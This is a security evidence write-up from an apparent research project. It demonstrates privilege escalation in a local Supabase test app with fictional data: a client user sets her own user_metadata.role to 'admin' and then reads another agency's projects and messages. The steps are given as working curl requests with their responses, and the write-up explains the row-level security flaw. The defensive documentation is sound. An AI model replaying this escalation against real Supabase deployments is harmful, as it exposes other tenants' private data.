A client contact sets user_metadata.role = "admin" and reads the other agency's projects and messages

Source file: evidence/before/fm12-user-metadata-escalation.md

Failure mode: FM12 (research/FAILURE_MODES.md) · Severity: high · Reproduced: yes

Impact: Any signed-in user can promote themselves to "admin" and read or change every agency's projects and client conversations.

Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm12-user-metadata-escalation.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:26.419Z.

Setup

sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...   # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)
JWT_PRIYA=$(curl -s -X POST "$URL/auth/v1/token?grant_type=password" -H "apikey: $ANON" -H "Content-Type: application/json" -d '{"email":"priya@bramblecoffee.example","password":"..."}' | jq -r .access_token)
JWT_PRIYA_ADMIN=<access_token from the refresh in step 4>

Steps

1. Sign in as priya@bramblecoffee.example (password grant, same call supabase-js makes)

sh
curl -s -X POST "$URL/auth/v1/token?grant_type=password" \
  -H "apikey: $ANON" \
  -H "Content-Type: application/json" \
  -d '{"email":"priya@bramblecoffee.example","password":"demo-password-2026"}'

Response: HTTP 200

json
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5... (636 chars)",
  "token_type": "bearer",
  "user": {
    "id": "145a74b3-49d5-4f35-99c5-963f9af0a6b5",
    "email": "priya@bramblecoffee.example",
    "user_metadata": {
      "role": "client",
      "full_name": "Priya Raman"
    }
  },
  "...": "(other fields trimmed)"
}

2. Tidewater Social's projects, as Priya (Northlake client contact): RLS hides them

sh
curl -s "$URL/rest/v1/projects?select=name,status,budget,org_id&org_id=eq.396a94a8-a43a-4289-91fd-087b55f18d50" \
  -H "apikey: $ANON" \
  -H "Authorization: Bearer $JWT_PRIYA"

Response: HTTP 200

json
[]

3. Set her own user_metadata.role to "admin" (what supabase.auth.updateUser({ data: { role } }) sends)

sh
curl -s -X PUT "$URL/auth/v1/user" \
  -H "apikey: $ANON" \
  -H "Authorization: Bearer $JWT_PRIYA" \
  -H "Content-Type: application/json" \
  -d '{"data":{"role":"admin"}}'

Response: HTTP 200

json
{
  "id": "145a74b3-49d5-4f35-99c5-963f9af0a6b5",
  "email": "priya@bramblecoffee.example",
  "user_metadata": {
    "role": "admin",
    "full_name": "Priya Raman"
  },
  "...": "(other fields trimmed)"
}

4. Refresh the session so the new metadata lands in the JWT (supabase.auth.refreshSession())

sh
curl -s -X POST "$URL/auth/v1/token?grant_type=refresh_token" \
  -H "apikey: $ANON" \
  -H "Content-Type: application/json" \
  -d '{"refresh_token":"JW_SCRcfsQiQ2a5CcS7VFot25JGLQ5cr"}'

Response: HTTP 200

json
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5... (635 chars)",
  "user": {
    "id": "145a74b3-49d5-4f35-99c5-963f9af0a6b5",
    "user_metadata": {
      "role": "admin",
      "full_name": "Priya Raman"
    }
  },
  "...": "(other fields trimmed)"
}

5. Decoded claims of the refreshed token

text
{
  "sub": "145a74b3-49d5-4f35-99c5-963f9af0a6b5",
  "role": "authenticated",
  "user_metadata": {
    "role": "admin",
    "full_name": "Priya Raman"
  }
}

6. Tidewater Social's projects again

sh
curl -s "$URL/rest/v1/projects?select=name,status,budget,org_id&org_id=eq.396a94a8-a43a-4289-91fd-087b55f18d50" \
  -H "apikey: $ANON" \
  -H "Authorization: Bearer $JWT_PRIYA_ADMIN"

Response: HTTP 200

json
[
  {
    "name": "Spring campaign 2026",
    "status": "active",
    "budget": 11351,
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50"
  },
  {
    "name": "Website refresh 2026",
    "status": "active",
    "budget": 4144,
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50"
  },
  {
    "name": "Menu redesign 2025",
    "status": "on_hold",
    "budget": 4160,
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50"
  },
  {
    "name": "Menu redesign 2026",
    "status": "active",
    "budget": 4366,
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50"
  },
  {
    "name": "Website refresh 2026",
    "status": "active",
    "budget": 19264,
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50"
  },
  {
    "name": "Menu redesign 2025",
    "status": "on_hold",
    "budget": 6100,
    "org_id": "396a94a8-a43a-4289-91fd-087b55f18d50"
  }
]

7. ...and their private message threads

sh
curl -s "$URL/rest/v1/messages?select=body,created_at&org_id=eq.396a94a8-a43a-4289-91fd-087b55f18d50&order=created_at.desc" \
  -H "apikey: $ANON" \
  -H "Authorization: Bearer $JWT_PRIYA_ADMIN"

Response: HTTP 200

json
[
  {
    "body": "Can we move the review call to Thursday afternoon?",
    "created_at": "2026-11-21T09:52:48.608+00:00"
  },
  {
    "body": "Can we move the review call to Thursday afternoon?",
    "created_at": "2026-11-21T03:28:33.743+00:00"
  },
  {
    "body": "Approved. Please go ahead with the darker green.",
    "created_at": "2026-11-20T20:52:44.274+00:00"
  },
  {
    "body": "Copy for the about page is in the doc, comments welcome.",
    "created_at": "2026-11-20T14:38:50.479+00:00"
  },
  "... 12 more (16 total)"
]

What this shows

  • Before: 0 Tidewater projects. After one self-service profile update: 6 projects with budgets and 16 messages.
  • The policies read auth.jwt() -> 'user_metadata' ->> 'role' (schema.sql "[FM12]", advisor lint 0015_rls_references_user_metadata). user_metadata is writable by the user it belongs to; app_metadata is the server-only place for roles.
  • The "Admins can manage projects" policy (for all) trusts the same claim, so she can now also edit and delete any agency's projects.
  • No exploit tooling needed: the app's own Settings page has a Role dropdown that calls updateUser (src/pages/Settings.tsx).